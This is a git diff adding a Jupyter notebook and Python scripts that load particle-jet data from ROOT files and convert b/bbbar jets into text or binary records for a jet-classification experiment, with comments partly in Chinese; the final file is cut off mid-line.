diff --git a/.gitignore b/.gitignore new file mode 100755 index 0000000..2894d22 --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +__pycache__/ +*.spec +*.pyc +*.tar.gz +dist/ +build/ +data/ +data_100w/ +save/ \ No newline at end of file diff --git a/LLM.ipynb b/LLM.ipynb new file mode 100644 index 0000000..b69cf43 --- /dev/null +++ b/LLM.ipynb @@ -0,0 +1,345 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "id": "074cbeba", + "metadata": {}, + "outputs": [], + "source": [ + "import uproot\n", + "import attrs\n", + "from typing import List\n", + "import numpy as np" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "b49ac144", + "metadata": {}, + "outputs": [], + "source": [ + "with uproot.open(\"./fast.root\") as f:\n", + " tree = f[\"tree\"]\n", + " a = tree.arrays(library=\"pd\")" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "c2d94275", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Index(['btag', 'ctag', 'gen_match', 'genpart_eta', 'genpart_phi',\n", + " 'genpart_pid', 'genpart_pt', 'is_signal', 'jet_energy', 'jet_eta',\n", + " 'jet_nparticles', 'jet_phi', 'jet_pt', 'part_charge', 'part_d0err',\n", + " 'part_d0val', 'part_deta', 'part_dphi', 'part_dzerr', 'part_dzval',\n", + " 'part_energy', 'part_pid', 'part_pt', 'part_px', 'part_py', 'part_pz',\n", + " 'part_isChargedHadron', 'part_isChargedKaon', 'part_isElectron',\n", + " 'part_isKLong', 'part_isKShort', 'part_isMuon', 'part_isNeutralHadron',\n", + " 'part_isPhoton', 'part_isPi0', 'part_isPion', 'part_isProton',\n", + " 'label_b', 'label_bb', 'label_bbar', 'label_c', 'label_cbar',\n", + " 'label_cc', 'label_d', 'label_dbar', 'label_g', 'label_gg', 'label_s',\n", + " 'label_sbar', 'label_u', 'label_ubar'],\n", + " dtype='object')\n" + ] + } + ], + "source": [ + "print(a.keys())" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "93a76758", + "metadata": {}, + "outputs": [], + "source": [ + "import attrs\n", + "import uproot\n", + "import numpy as np\n", + "from typing import List\n", + "@attrs.define\n", + "class ParticleBase:\n", + " part_charge: int = attrs.field() # charge of the particle\n", + " part_energy: float = attrs.field() # energy of the particle\n", + " part_px: float = attrs.field() # x-component of the momentum vector\n", + " part_py: float = attrs.field() # y-component of the momentum vector\n", + " part_pz: float = attrs.field() # z-component of the momentum vector\n", + " log_energy: float = attrs.field() # log10(part_energy)\n", + " log_pt: float = attrs.field() # log10(part_pt)\n", + " part_deta: float = attrs.field() # pseudorapidity\n", + " part_dphi: float = attrs.field() # azimuthal angle\n", + " part_logptrel: float = attrs.field() # log10(pt(particle)/pt(jet))\n", + " part_logerel: float = attrs.field() # log10(energy(particle)/energy(jet))\n", + " part_deltaR: float = attrs.field() # distance between the particle and the jet\n", + " part_d0: float = attrs.field() # tanh(d0)\n", + " part_dz: float = attrs.field() # tanh(z0)\n", + " particle_type: str = attrs.field() # type of the particle (e.g. charged kaon, charged pion, proton, electron, muon, neutral hadron, photon, others)\n", + " particle_pid: int = attrs.field() # pid of the particle (e.g. 0,1,2,3,4,5,6,7)\n", + "\n", + "@attrs.define\n", + "class Jet:\n", + " jet_b: float = attrs.field()\n", + " jet_bbar: float = attrs.field()\n", + " jet_energy: float = attrs.field() # energy of the jet\n", + " jet_pt: float = attrs.field() # transverse momentum of the jet\n", + " jet_eta: float = attrs.field() # pseudorapidity of the jet\n", + " particles: List[ParticleBase] = attrs.field(factory=list) # list of particles in the jet\n", + " \n", + " def __len__(self):\n", + " return len(self.particles)\n", + " \n", + "@attrs.define\n", + "class JetSet:\n", + " jets: List[Jet]\n", + " \n", + " def __len__(self):\n", + " return len(self.jets)\n", + " \n", + "def jud_type(jtmp): #这个函数用来判断每个粒子的类型,每个粒子可以是electron、muon、pion 等\n", + " particle_dict = {'NeutralHadron':0,'Photon':1, 'Electron':2, 'Muon':3, 'Pion':4,'ChargedKaon':5, 'Proton':6}\n", + " max_element = max(jtmp)\n", + " idx = jtmp.index(max_element)\n", + " items = list(particle_dict.items())\n", + " return items[idx][0], items[idx][1]\n", + " \n", + "with uproot.open(\"./data/data_fast/fast_bb.root\") as f:\n", + " tree = f[\"tree\"]\n", + " a = tree.arrays(library=\"pd\")\n", + "#a里面有很多喷注,我们的目标是判断每个喷注 它是 b 还是 bbar. 每个喷注里含了很多粒子。以下以 part 开头的变量都是列表,比如 part_pt,它是存储了一个喷注中所有粒子的pt\n", + "#part_energy 存储了一个喷注中所有粒子的energy。\n", + "\n", + "\n", + "jet_list = []\n", + "for j in a.itertuples(): \n", + " part_pt = np.array(j.part_pt)\n", + " jet_pt = np.array(j.jet_pt)\n", + " part_logptrel = np.log(np.divide(part_pt, jet_pt))\n", + " \n", + " part_energy = np.array(j.part_energy)\n", + " jet_energy = np.array(j.jet_energy)\n", + " part_logerel = np.log(np.divide(part_energy, jet_energy))\n", + " \n", + " part_deta = np.array(j.part_deta)\n", + " part_dphi = np.array(j.part_dphi)\n", + " part_deltaR = np.hypot(part_deta, part_dphi)\n", + " \n", + " assert len(j.part_pt) == len(j.part_energy) == len(j.part_deta)\n", + "\n", + " particles = []\n", + " \n", + " \n", + " particle_list = ['part_isNeutralHadron','part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion','part_isChargedKaon', 'part_isProton']\n", + " part_type = []\n", + " part_pid = []\n", + " for pn in range(len(j.part_pt)):\n", + " jtmp = [j.part_isNeutralHadron[pn], j.part_isPhoton[pn], j.part_isElectron[pn], j.part_isMuon[pn], j.part_isPion[pn],\n", + " j.part_isChargedKaon[pn], j.part_isProton[pn]]\n", + " tmp_type, tmp_pid = jud_type(jtmp)\n", + " part_type.append(tmp_type)\n", + " part_pid.append(tmp_pid)\n", + " \n", + " bag = zip(j.part_charge, j.part_energy, j.part_px, j.part_py, j.part_pz, np.log(j.part_energy), \n", + " np.log(j.part_pt), j.part_deta, j.part_dphi, part_logptrel, part_logerel, part_deltaR, \n", + " np.tanh(j.part_d0val), np.tanh(j.part_dzval), part_type, part_pid)\n", + " \n", + " #下边的代码是要对第 j 个喷注中的所有粒子做循环,将每个粒子都 存成 ParticleBase,然后 append 到 particles里,\n", + " #所以 partices 存储了 第 j 个喷注中所有粒子的信息\n", + " for c, en, px, py, pz, lEn, lPt, eta, phi, ii, jj, kk, d0, dz, ptype, pid in bag:\n", + " particles.append(ParticleBase(\n", + " part_charge=c, \n", + " part_energy=en, \n", + " part_px=px, \n", + " part_py=py,\n", + " part_pz=pz, \n", + " log_energy=lEn, \n", + " log_pt=lPt,\n", + " part_deta=eta, \n", + " part_dphi=phi, \n", + " part_logptrel=ii,\n", + " part_logerel=jj, \n", + " part_deltaR=kk,\n", + " part_d0=d0, \n", + " part_dz=dz, \n", + " particle_type=ptype, # assuming you will set this correctly\n", + " particle_pid=pid # assuming you will set this correctly\n", + " ))\n", + " # add jets jet = 喷注,\n", + " jet = Jet(\n", + " jet_b=j.label_b, #如果此jet是b,那么label_b = 1, 否则label_b = 0\n", + " jet_bbar=j.label_bbar, #如果此jet是bbar,那么label_bbar = 1\n", + " jet_energy=j.jet_energy, #第 j 个喷注的 energy\n", + " jet_pt=j.jet_pt, # 第 j 个喷注的 pt\n", + " jet_eta=j.jet_eta, # 第 j 个喷注的 eta (是一种角度的表示)\n", + " particles=particles # 第 j 个喷注中所有的 粒子\n", + " )\n", + " jet_list.append(jet)\n", + "\n", + "jet_set1 = JetSet(jets=jet_list)\n", + "\n", + "#如上所说,每个喷注有很多粒子,你最后输入模型的是每个喷注中所有粒子的如下信息\n", + "#log_energy log_pt part_logerel part_logptrel part_deltaR part_charge part_d0 part_dz \n", + "#part_deta part_dphi particle_pid" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c9995622", + "metadata": {}, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "b94329b2", + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "data": { + "text/plain": [ + "False" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "jet_set1.jets[0].jet_bbar" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "4242ce6c", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "1.0\n", + "-1.0\n", + "1.0\n", + "0.0\n", + "-1.0\n", + "1.0\n", + "-1.0\n", + "0.0\n", + "-1.0\n", + "0.0\n", + "0.0\n", + "0.0\n", + "0.0\n", + "1.0\n", + "0.0\n", + "0.0\n", + "0.0\n" + ] + } + ], + "source": [ + "for num in range(len(jet_set1.jets[0].particles)):\n", + " print(jet_set1.jets[0].particles[num].part_charge)" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "6f0dc08e", + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "-1.0\n", + "1.0\n", + "-1.0\n", + "-1.0\n", + "0.0\n", + "1.0\n", + "-1.0\n", + "1.0\n", + "0.0\n", + "0.0\n", + "0.0\n", + "0.0\n", + "-1.0\n", + "0.0\n", + "0.0\n" + ] + } + ], + "source": [ + "for num in range(len(jet_set1.jets[1].particles)):\n", + " print(jet_set1.jets[1].particles[num].part_charge)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "e6809f05", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "10000\n" + ] + } + ], + "source": [ + "print(len(jet_set1.jets))" + ] + }, + { + "cell_type": "markdown", + "id": "67cd5f19", + "metadata": {}, + "source": [ + "## 与particle-transformer对比的实验设计\n", + "\n", + "使用这些属性进行与particle-transformer准确率对比,bb 100w bbbar 100w\n", + "\n", + "log_energy log_pt part_logerel part_logptrel part_deltaR part_charge part_d0 part_dz part_deta part_dphi particle_pid" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.14" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/convert_root_to_bin.py.bak b/convert_root_to_bin.py.bak new file mode 100644 index 0000000..5322099 --- /dev/null +++ b/convert_root_to_bin.py.bak @@ -0,0 +1,250 @@ +import enum +import attrs +from typing import List, Optional, Union +import numpy as np +import uproot +from pathlib import Path +from tqdm import tqdm +import os +import pickle +import joblib +import click +import torch +from torch.utils.data import Dataset +import math + +class ByteDataset(Dataset): + def __init__(self, filenames, patch_size: int = 16, patch_length: int = 512): + self.patch_size = patch_size + self.patch_length = patch_length + print(f"Loading {len(filenames)} files for classification") + self.filenames = [] + self.labels = {'bb': 0, 'bbbar': 1} # 映射标签到整数 + + for filename in tqdm(filenames): + file_size = os.path.getsize(filename) + file_size = math.ceil(file_size / self.patch_size) + ext = filename.split('.')[-1] + label = os.path.basename(filename).split('_')[0] # 使用前缀部分作为标签 + label = f"{label}.{ext}" + + if file_size <= self.patch_length - 2: + self.filenames.append((filename, label)) + if label not in self.labels: + self.labels[label] = len(self.labels) + + def __len__(self): + return len(self.filenames) + + def __getitem__(self, idx): + filename, label = self.filenames[idx] + file_bytes = self.read_bytes(filename) + + file_bytes = torch.tensor(file_bytes, dtype=torch.long) + label = torch.tensor(self.labels[label], dtype=torch.long) + + return file_bytes, label, filename + + def readbytes(self, filename): + ext = filename.split('.')[-1] + ext = bytearray(ext, 'utf-8') + ext = [byte for byte in ext][:self.patch_size] + + with open(filename, 'rb') as f: + file_bytes = f.read() + + bytes = [] + for byte in file_bytes: + bytes.append(byte) + + if len(bytes) % self.patch_size != 0: + bytes = bytes + [256] * (self.patch_size - len(bytes) % self.patch_size) + + bos_patch = ext + [256] * (self.patch_size - len(ext)) + bytes = bos_patch + bytes + [256] * self.patch_size + + return bytes + +class ParticleType(enum.Enum): + NeutralHadron = 0 + Photon = 1 + Electron = 2 + Muon = 3 + Pion = 4 + ChargedKaon = 5 + Proton = 6 + Others = 7 + +@attrs.define +class ParticleBase: + particle_id: int = attrs.field() # unique id for each particle + part_charge: int = attrs.field() # charge of the particle + part_energy: float = attrs.field() # energy of the particle + part_px: float = attrs.field() # x-component of the momentum vector + part_py: float = attrs.field() # y-component of the momentum vector + part_pz: float = attrs.field() # z-component of the momentum vector + log_energy: float = attrs.field() # log10(part_energy) + log_pt: float = attrs.field() # log10(part_pt) + part_deta: float = attrs.field() # pseudorapidity + part_dphi: float = attrs.field() # azimuthal angle + part_logptrel: float = attrs.field() # log10(pt(particle)/pt(jet)) + part_logerel: float = attrs.field() # log10(energy(particle)/energy(jet)) + part_deltaR: float = attrs.field() # distance between the particle and the jet + part_d0: float = attrs.field() # tanh(d0) + part_dz: float = attrs.field() # tanh(z0) + particle_type: ParticleType = attrs.field() # type of the particle as an enum + particle_pid: int = attrs.field() # pid of the particle + jet_type: str = attrs.field() # type of the jet (e.g. b, bbbar) + + def properties_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',') -> str: + if selected_attrs is None: + selected_attrs = [field.name for field in attrs.fields(self) if field.name != "jet_type"] + values = [getattr(self, attr) for attr in selected_attrs] + values = [v.value if isinstance(v, ParticleType) else v for v in values] # Convert ParticleType to its numeric value + return attr_sep.join(map(str, values)) + + def attributes_to_float_list(self, selected_attrs: Optional[List[str]] = None) -> list: + if selected_attrs is None: + selected_attrs = [field.name for field in attrs.fields(self) if field.name != "jet_type"] + values = [getattr(self, attr) for attr in selected_attrs] + values = [v.value if isinstance(v, ParticleType) else v for v in values] # Convert ParticleType to its numeric value + return list(map(lambda x: float(x) if isinstance(x, int) else x, values)) + +@attrs.define +class Jet: + jet_energy: float = attrs.field() # energy of the jet + jet_pt: float = attrs.field() # transverse momentum of the jet + jet_eta: float = attrs.field() # pseudorapidity of the jet + label: str = attrs.field() # type of bb or bbbar + particles: List[ParticleBase] = attrs.field(factory=list) # list of particles in the jet + + def __len__(self): + return len(self.particles) + + def particles_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|') -> str: + return part_sep.join(map(lambda p: p.properties_concatenated(selected_attrs, attr_sep), self.particles)) + + def particles_attribute_list(self, selected_attrs: Optional[List[str]] = None) -> list: + return list(map(lambda p: p.attributes_to_float_list(selected_attrs), self.particles)) + +@attrs.define +class JetSet: + jets_type: str = attrs.field() # type of the jets (e.g. bb, bbbar) + jets: List[Jet] = attrs.field(factory=list) + + def __len__(self): + return len(self.jets) + + @staticmethod + def jud_type(jtmp): + particle_dict = { + 0: ParticleType.NeutralHadron, + 1: ParticleType.Photon, + 2: ParticleType.Electron, + 3: ParticleType.Muon, + 4: ParticleType.Pion, + 5: ParticleType.ChargedKaon, + 6: ParticleType.Proton, + 7: ParticleType.Others + } + max_element = max(jtmp) + idx = jtmp.index(max_element) + return particle_dict.get(idx, ParticleType.Others) + + @classmethod + def build_jetset(cls, root_file: Union[str, Path]) -> "JetSet": + print(f"Building JetSet from {root_file}") + if not 'bbbar' in Path(root_file).stem and not 'bb' in Path(root_file).stem: + raise ValueError("Invalid file name, should contain 'bb' or 'bbbar'") + jets_type = "bbbar" if "bbbar" in Path(root_file).stem else "bb" + with uproot.open(root_file) as f: + tree = f["tree"] + a = tree.arrays(library="pd") + + label = Path(root_file).stem.split('_')[0] + jet_type = "bbbar jet" if "bbbar" in root_file.stem else "b jet" + jet_list = [] + for i, j in a.iterrows(): + part_pt = np.array(j['part_pt']) + jet_pt = np.array(j['jet_pt']) + part_logptrel = np.log(np.divide(part_pt, jet_pt)) + + part_energy = np.array(j['part_energy']) + jet_energy = np.array(j['jet_energy']) + part_logerel = np.log(np.divide(part_energy, jet_energy)) + + part_deta = np.array(j['part_deta']) + part_dphi = np.array(j['part_dphi']) + part_deltaR = np.hypot(part_deta, part_dphi) + + assert len(j['part_pt']) == len(j['part_energy']) == len(j['part_deta']) + + particle_list = ['part_isNeutralHadron', 'part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion', 'part_isChargedKaon', 'part_isProton'] + + particles = list(map(lambda pn: ParticleBase( + particle_id=i, + part_charge=j['part_charge'], + part_energy=j['part_energy'], + part_px=j['part_px'], + part_py=j['part_py'], + part_pz=j['part_pz'], + log_energy=np.log(j['part_energy']), + log_pt=np.log(j['part_pt']), + part_deta=j['part_deta'], + part_dphi=j['part_dphi'], + part_logptrel=part_logptrel[pn], + part_logerel=part_logerel[pn], + part_deltaR=part_deltaR[pn], + part_d0=np.tanh(j['part_d0val']), + part_dz=np.tanh(j['part_dzval']), + particle_type=cls.jud_type([j[t][pn] for t in particle_list]), + particle_pid=cls.jud_type([j[t][pn] for t in particle_list]).value, + jet_type=jet_type + ), range(len(j['part_pt'])))) + + jet = Jet( + jet_energy=j['jet_energy'], + jet_pt=j['jet_pt'], + jet_eta=j['jet_eta'], + particles=particles, + label=label + ) + jet_list.append(jet) + + return cls(jets=jet_list, jets_type=jets_type) + + def save_to_binary(self, save_dir, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|'): + file_counter = 0 + for jet in tqdm(self.jets): + filename = f"{self.jets_type}_{file_counter}.bin" + filepath = os.path.join(save_dir, filename) + + jet_data = jet.particles_concatenated(selected_attrs, attr_sep, part_sep) + with open(filepath, 'wb') as file: + pickle.dump(jet_data, file) + + file_counter += 1 + +@click.command() +@click.argument('root_dir', type=click.Path(exists=True)) +@click.argument('save_dir', type=click.Path()) +@click.option('--attr-sep', default=',', help='Separator for attributes.') +@click.option('--part-sep', default='|', help='Separator for particles.') +@click.option('--selected-attrs', default='particle_id,part_charge,part_energy,part_px,part_py,part_pz,log_energy,log_pt,part_deta,part_dphi,part_logptrel,part_logerel,part_deltaR,part_d0,part_dz,particle_type,particle_pid', help='Comma-separated list of selected attributes.') +def main(root_dir, save_dir, attr_sep, part_sep, selected_attrs): + selected_attrs = selected_attrs.split(',') + preprocess(root_dir, save_dir, selected_attrs=selected_attrs, attr_sep=attr_sep, part_sep=part_sep) + +def preprocess(root_dir, save_dir, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|'): + root_files = list(Path(root_dir).glob('*.root')) + os.makedirs(save_dir, exist_ok=True) + joblib.Parallel(n_jobs=-1)( + joblib.delayed(process_file)(root_file, save_dir, selected_attrs, attr_sep, part_sep) for root_file in root_files + ) + +def process_file(root_file, save_dir, selected_attrs, attr_sep, part_sep): + jet_set = JetSet.build_jetset(root_file) + jet_set.save_to_binary(save_dir, selected_attrs, attr_sep, part_sep) + +if __name__ == "__main__": + main() diff --git a/convert_root_to_txt.py b/convert_root_to_txt.py new file mode 100644 index 0000000..e1fb438 --- /dev/null +++ b/convert_root_to_txt.py @@ -0,0 +1,279 @@ +import enum +import attrs +from typing import List, Optional, Union +import numpy as np +import uproot +from pathlib import Path +from tqdm import tqdm +import os +import joblib +import click + +class ParticleType(enum.Enum): + NeutralHadron = 0 + Photon = 1 + Electron = 2 + Muon = 3 + Pion = 4 + ChargedKaon = 5 + Proton = 6 + Others = 7 + +@attrs.define +class ParticleBase: + particle_id: int = attrs.field() # unique id for each particle + part_charge: int = attrs.field() # charge of the particle + part_energy: float = attrs.field() # energy of the particle + part_px: float = attrs.field() # x-component of the momentum vector + part_py: float = attrs.field() # y-component of the momentum vector + part_pz: float = attrs.field() # z-component of the momentum vector + log_energy: float = attrs.field() # log10(part_energy) + log_pt: float = attrs.field() # log10(part_pt) + part_deta: float = attrs.field() # pseudorapidity + part_dphi: float = attrs.field() # azimuthal angle + part_logptrel: float = attrs.field() # log10(pt(particle)/pt(jet)) + part_logerel: float = attrs.field() # log10(energy(particle)/energy(jet)) + part_deltaR: float = attrs.field() # distance between the particle and the jet + part_d0: float = attrs.field() # tanh(d0) + part_dz: float = attrs.field() # tanh(z0) + particle_type: ParticleType = attrs.field() # type of the particle as an enum + particle_pid: int = attrs.field() # pid of the particle + jet_type: str = attrs.field() # type of the jet (e.g. b, bbbar) + + def properties_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',') -> str: + if selected_attrs is None: + selected_attrs = [field.name for field in attrs.fields(self) if field.name != "jet_type"] + values = [getattr(self, attr) for attr in selected_attrs] + values = [v.value if isinstance(v, ParticleType) else v for v in values] # Convert ParticleType to its numeric value + return attr_sep.join(map(str, values)) + +@attrs.define +class Jet: + jet_energy: float = attrs.field() # energy of the jet + jet_pt: float = attrs.field() # transverse momentum of the jet + jet_eta: float = attrs.field() # pseudorapidity of the jet + label: str = attrs.field() # type of bb or bbbar + particles: List[ParticleBase] = attrs.field(factory=list) # list of particles in the jet + + def __len__(self): + return len(self.particles) + + def particles_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|') -> str: + return part_sep.join(map(lambda p: p.properties_concatenated(selected_attrs, attr_sep), self.particles)) + +@attrs.define +class JetSet: + jets_type: str = attrs.field() # type of the jets (e.g. bb, bbbar) + jets: List[Jet] = attrs.field(factory=list) + + def __len__(self): + return len(self.jets) + + @staticmethod + def jud_type(jtmp): + particle_dict = { + 0: ParticleType.NeutralHadron, + 1: ParticleType.Photon, + 2: ParticleType.Electron, + 3: ParticleType.Muon, + 4: ParticleType.Pion, + 5: ParticleType.ChargedKaon, + 6: ParticleType.Proton, + 7: ParticleType.Others + } + max_element = max(jtmp) + idx = jtmp.index(max_element) + return particle_dict.get(idx, ParticleType.Others), idx + + @classmethod + def build_jetset_fast(cls, root_file: Union[str, Path]) -> "JetSet": + print(f"Building JetSet from {root_file}") + if not 'bbbar' in Path(root_file).stem and not 'bb' in Path(root_file).stem: + raise ValueError("Invalid file name, should contain 'bb' or 'bbbar'") + jets_type = "bbbar" if "bbbar" in Path(root_file).stem else "bb" + print(f"jet type: {jets_type}") + with uproot.open(root_file) as f: + tree = f["tree"] + a = tree.arrays(library="pd") + # print(f"DataFrame structure:\n{a.head()}") + if a.empty: + raise ValueError("DataFrame is empty") + + label = Path(root_file).stem.split('_')[0] + jet_type = "bbbar jet" if "bbbar" in root_file.stem else "b jet" + jet_list = [] + for j in a.itertuples(): + part_pt = np.array(j.part_pt) + jet_pt = np.array(j.jet_pt) + part_logptrel = np.log(np.divide(part_pt, jet_pt)) + + part_energy = np.array(j.part_energy) + jet_energy = np.array(j.jet_energy) + part_logerel = np.log(np.divide(part_energy, jet_energy)) + + part_deta = np.array(j.part_deta) + part_dphi = np.array(j.part_dphi) + part_deltaR = np.hypot(part_deta, part_dphi) + + assert len(j.part_pt) == len(j.part_energy) == len(j.part_deta) + + particles = [] + # particle_list = ['part_isNeutralHadron', 'part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion', 'part_isChargedKaon', 'part_isProton'] + part_type = [] + part_pid = [] + for pn in range(len(j.part_pt)): + jtmp = [j.part_isNeutralHadron[pn], j.part_isPhoton[pn], j.part_isElectron[pn], j.part_isMuon[pn], j.part_isPion[pn], + j.part_isChargedKaon[pn], j.part_isProton[pn]] + tmp_type, tmp_pid = cls.jud_type(jtmp) + part_type.append(tmp_type) + part_pid.append(tmp_pid) + + bag = zip(j.part_charge, j.part_energy, j.part_px, j.part_py, j.part_pz, np.log(j.part_energy), + np.log(j.part_pt), j.part_deta, j.part_dphi, part_logptrel, part_logerel, part_deltaR, + np.tanh(j.part_d0val), np.tanh(j.part_dzval), part_type, part_pid) + #下边的代码是要对第 j 个喷注中的所有粒子做循环,将每个粒子都 存成 ParticleBase,然后 append 到 particles里, + #所以 partices 存储了 第 j 个喷注中所有粒子的信息 + for num, (c, en, px, py, pz, lEn, lPt, eta, phi, ii, jj, kk, d0, dz, ptype, pid) in enumerate(bag): + particles.append(ParticleBase( + particle_id=num, + part_charge=c, + part_energy=en, + part_px=px, + part_py=py, + part_pz=pz, + log_energy=lEn, + log_pt=lPt, + part_deta=eta, + part_dphi=phi, + part_logptrel=ii, + part_logerel=jj, + part_deltaR=kk, + part_d0=d0, + part_dz=dz, + particle_type=ptype, + particle_pid=pid, + jet_type=jet_type + )) + # add jets jet = 喷注, + jet = Jet( + jet_energy=j.jet_energy, + jet_pt=j.jet_pt, + jet_eta=j.jet_eta, + particles=particles, + label=label + ) + jet_list.append(jet) + + return cls(jets=jet_list, jets_type=jets_type) + + @classmethod + def build_jetset_full(cls, root_file: Union[str, Path]) -> "JetSet": + print(f"Building JetSet from {root_file}") + if not 'bbbar' in Path(root_file).stem and not 'bb' in Path(root_file).stem: + raise ValueError("Invalid file name, should contain 'bb' or 'bbbar'") + jets_type = "bbbar" if "bbbar" in Path(root_file).stem else "bb" + print(f"jet type: {jets_type}") + with uproot.open(root_file) as f: + tree = f["tree"] + a = tree.arrays(library="pd") + + label = Path(root_file).stem.split('_')[0] + jet_type = "bbbar jet" if "bbbar" in root_file.stem else "b jet" + jet_list = [] + for i, j in a.iterrows(): + part_pt = np.array(j['part_pt']) + jet_pt = np.array(j['jet_pt']) + part_logptrel = np.log(np.divide(part_pt, jet_pt)) + + part_energy = np.array(j['part_energy']) + jet_energy = np.array(j['jet_energy']) + part_logerel = np.log(np.divide(part_energy, jet_energy)) + + part_deta = np.array(j['part_deta']) + part_dphi = np.array(j['part_dphi']) + part_deltaR = np.hypot(part_deta, part_dphi) + + assert len(j['part_pt']) == len(j['part_energy']) == len(j['part_deta']) + particles = [] + particle_list = ['part_isNeutralHadron', 'part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion', 'part_isChargedKaon', 'part_isProton'] + part_type = [] + part_pid = [] + for pn in range(len(j['part_pt'])): + jtmp = [] + for t in particle_list: + jtmp.append(j[t][pn]) + tmp_type, tmp_pid = cls.jud_type(jtmp) + part_type.append(tmp_type) + part_pid.append(tmp_pid) + + for pn in range(len(part_type)): + particles.append(ParticleBase( + particle_id=i, + part_charge=j['part_charge'][pn], + part_energy=j['part_energy'][pn], + part_px=j['part_px'][pn], + part_py=j['part_py'][pn], + part_pz=j['part_pz'][pn], + log_energy=np.log(j['part_energy'][pn]), + log_pt=np.log(j['part_pt'][pn]), + part_deta=j['part_deta'][pn], + part_dphi=j['part_dphi'][pn], + part_logptrel=part_logptrel[pn], + part_logerel=part_logerel[pn], + part_deltaR=part_deltaR[pn], + part_d0=np.tanh(j['part_d0val'][pn]), + part_dz=np.tanh(j['part_dzval'][pn]), + particle_type=part_type[pn], + particle_pid=part_pid[pn], + jet_type=jet_type + )) + + jet = Jet( + jet_energy=j['jet_energy'], + jet_pt=j['jet_pt'], + jet_eta=j['jet_eta'], + particles=particles, + label=label + ) + jet_list.append(jet) + + return cls(jets=jet_list, jets_type=jets_type) + + def save_to_txt(self, save_dir, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|', prefix: str = ""): + for file_counter, jet in enumerate(tqdm(self.jets)): + filename = f"{self.jets_type}_{file_counter}_{prefix}.txt" + filepath = os.path.join(save_dir, filename) + + jet_data = jet.particles_concatenated(selected_attrs, attr_sep, part_sep) + with open(filepath, 'w') as file: + file.write(jet_data) + +@click.command() +@click.argument('root_dir', type=click.Path(exists=True)) +@click.argument('save_dir', type=click.Path()) +@click.option('--data-type', default='fast', type=click.Choice(['fast', 'full']), help='Type of ROOT data: fast or full.') +@click.option('--attr-sep', default=',', help='Separator for attributes.') +@click.option('--part-sep', default='|', help='Separator for particles.') +@click.option('--selected-attrs', default='particle_id,part_charge,part_energy,part_px,part_py,part_pz,log_energy,log_pt,part_deta,part_dphi,part_logptrel,part_logerel,part_deltaR,part_d0,part_dz,particle_type,particle_pid', help='Comma-separated list of selected attributes.') +def main(root_dir, save_dir, data_type, attr_sep, part_sep, selected_attrs): + selected_attrs = selected_attrs.split(',') + preprocess(root_dir, save_dir, data_type, selected_attrs=selected_attrs, attr_sep=attr_sep, part_sep=part_sep) + +def preprocess(root_dir, save_dir, data_type, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|'): + root_files = list(Path(root_dir).glob('*.root')) + os.makedirs(save_dir, exist_ok=True) + # process_file(root_files[0], save_dir, data_type, selected_attrs, attr_sep, part_sep, 0) # one process for test + joblib.Parallel(n_jobs=-1)( + joblib.delayed(process_file)(root_file, save_dir, data_type, selected_attrs, attr_sep, part_sep, i) for i, root_file in enumerate(root_files) + ) + +def process_file(root_file, save_dir, data_type, selected_attrs, attr_sep, part_sep, process_id): + prefix = f"process_{process_id}" + if data_type == 'fast': + jet_set = JetSet.build_jetset_fast(root_file) + else: + jet_set = JetSet.build_jetset_full(root_file) + jet_set.save_to_txt(save_dir, selected_attrs, attr_sep, part_sep, prefix) + +if __name__ == "__main__": + main() diff --git a/convert_root_to_txt.py.bak b/convert_root_to_txt.py.bak new file mode 100644 index 0000000..fc811ab --- /dev/null +++ b/convert_root_to_txt.py.bak @@ -0,0 +1,193 @@ +import enum +import attrs +from typing import List, Optional, Union +import numpy as np +import uproot +from pathlib import Path +from tqdm import tqdm +import os +import joblib +import click + +class ParticleType(enum.Enum): + NeutralHadron = 0 + Photon = 1 + Electron = 2 + Muon = 3 + Pion = 4 + ChargedKaon = 5 + Proton = 6 + Others = 7 + +@attrs.define +class ParticleBase: + particle_id: int = attrs.field() # unique id for each particle + part_charge: int = attrs.field() # charge of the particle + part_energy: float = attrs.field() # energy of the particle + part_px: float = attrs.field() # x-component of the momentum vector + part_py: float = attrs.field() # y-component of the momentum vector + part_pz: float = attrs.field() # z-component of the momentum vector + log_energy: float = attrs.field() # log10(part_energy) + log_pt: float = attrs.field() # log10(part_pt) + part_deta: float = 